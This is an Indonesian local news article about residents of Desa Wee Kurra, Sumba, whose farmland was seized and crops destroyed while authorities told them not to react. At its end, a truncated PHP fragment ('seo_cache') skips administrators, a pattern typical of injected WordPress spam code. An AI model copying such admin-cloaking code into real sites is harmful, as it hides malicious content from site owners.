Berita Desa

Warga Keluhkan Penanganan Masalah Lahan di Desa Wee Kurra, Penyerobot Dibiarkan Merajalela Pemilik Kebun Diminta untuk Tidak Bereaksi

×

Warga Keluhkan Penanganan Masalah Lahan di Desa Wee Kurra, Penyerobot Dibiarkan Merajalela Pemilik Kebun Diminta untuk Tidak Bereaksi

Sebarkan artikel ini

WEWEWA BARAT, MENARASUMBA.COM – Penanganan masalah penyerobotan lahan di Dusun IV Eru Naga, Desa Wee Kurra, Kecamatan Wewewa Barat menyisakan catatan miris.

Hingga kini, setelah diserobot oknum warga Rara, Kecamatan Wewewa Selatan yang belum diketahui jelas identitas domisilinya pada Mei 2025 lalu, persoalan yang sudah dilaporkan tersebut terkatung-katung tanpa kejelasan.

Aloysius Adi Papa. ( Foto Menara Sumba )

Kepada awak media, Senin (18/08/2025), puluhan warga Eru Naga, Desa Wee Kurra, Kecamatan Wewewa Barat pemilik lahan yang telah diserobot tersebut mengeluh atas pembiaran terhadap sabotase kebun dan perusakan tanaman.

“Lahan kami tiba-tiba diserobot awal bulan Mei lalu, padi dan jagung dirusak, termasuk jambu mente, mahoni, serta sejumlah tanaman umur panjang lain,” ungkap Aloysius Adi Papa.

Untuk menghindari konflik, tindakan para penyerobot dilaporkan kepada pemerintah mulai dari jenjang desa, kecamatan, dan aparat penegak hukum.

Ketika itu Kapolsek Wewewa Barat dan Kapolsek Wewewa Selatan bersama unsur Babinsa dari pihak TNI dan pemerintah kecamatan turun langsung meninjau lokasi lahan yang diserobot.

Saat itu ditemukan sejumlah oknum warga Rara yang sedang melakukan aksi penyerobotan, tapi tidak diamankan.

Leksianus Loru. ( Foto Menara Sumba )

“Malah kami yang diminta untuk tenang dan tidak bereaksi atas penyerobotan lahan ini karena sudah di tangan pemerintah,” bebernya.

Bahkan, kata Aloysius lebih lanjut, persoalan itu sudah disampaikan pula kepada Bupati SBD, Ratu Ngadu Bonu Wulla, ST pada akhir Juni 2025 lalu.

Kepala desa bersama sejumlah perwakilan warga menemui bupati di kediamannya, Reda Bolo, Desa Kalembu Weri, Kecamatan Wewewa Barat.

“Ibu Bupati berjanji akan menindaklanjuti dan memanggil camat untuk diselesaikan, tapi sayang sampai hari ini belum ada kejelasan,” timpal Aloysius.

Keluhan senada diungkapkan Leksianus Loru yang merasa kecewa karena hanya warga pemilik lahan yang diminta untuk amankan diri sementara penyerobot dibiarkan merajalela.

Ia mengatakan, upaya mengadukan persoalan ini ke pihak pemerintah merupakan bagian dari niat baik warga untuk mengamankan diri.

“Harapan kami mengadu karena mau aman, tapi justru tidak ada tanggapan. Sebentar lagi sudah masuk musim tanam, lahan kami masih terkatung-katung, bahkan tanaman juga dirusak,” keluhnya.

Alfrida Ina Lede. ( Foto Menara Sumba )

Seorang warga lain, Alfrida Ina Lede turut mengungkapkan kegundahan karena saat ini semestinya adalah masa penyiapan lahan kebun.

Dengan mimik cemas, ibu paruh baya ini tidak bisa menyembunyikan kekhawatirannya mengingat musim tanam yang sudah di depan mata.

“Hati kami teriris menyaksikan perbuatan para penyerobot yang telah merusak tanaman kami, mente dan kakao ditebang, pohon mahoni disensor, ubi, keladi, dan pisang dijarah habis,” tuturnya sedih.

Alfrida berkisah hanya bisa menahan pilu menyaksikan lahan yang selama ini jadi sandaran hidup diserobot dan dijarah isinya tanpa bisa melakukan apa-apa.

Ia berharap pemerintah segera bertindak sehingga warga bisa kembali menggarap lahannya.

Selama ini warga sudah patuh dan mengindahkan permintaan pemerintah agar tidak melakukan reaksi apa pun, tapi justru ini dimanfaatkan oleh para penyerobot untuk semakin brutal.

“Pemerintah tolong lihat keadaan ini, kami diminta aman tapi penyerobot dibiarkan merajalela,” pinta Alfrida. ( TIM/MS ).

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>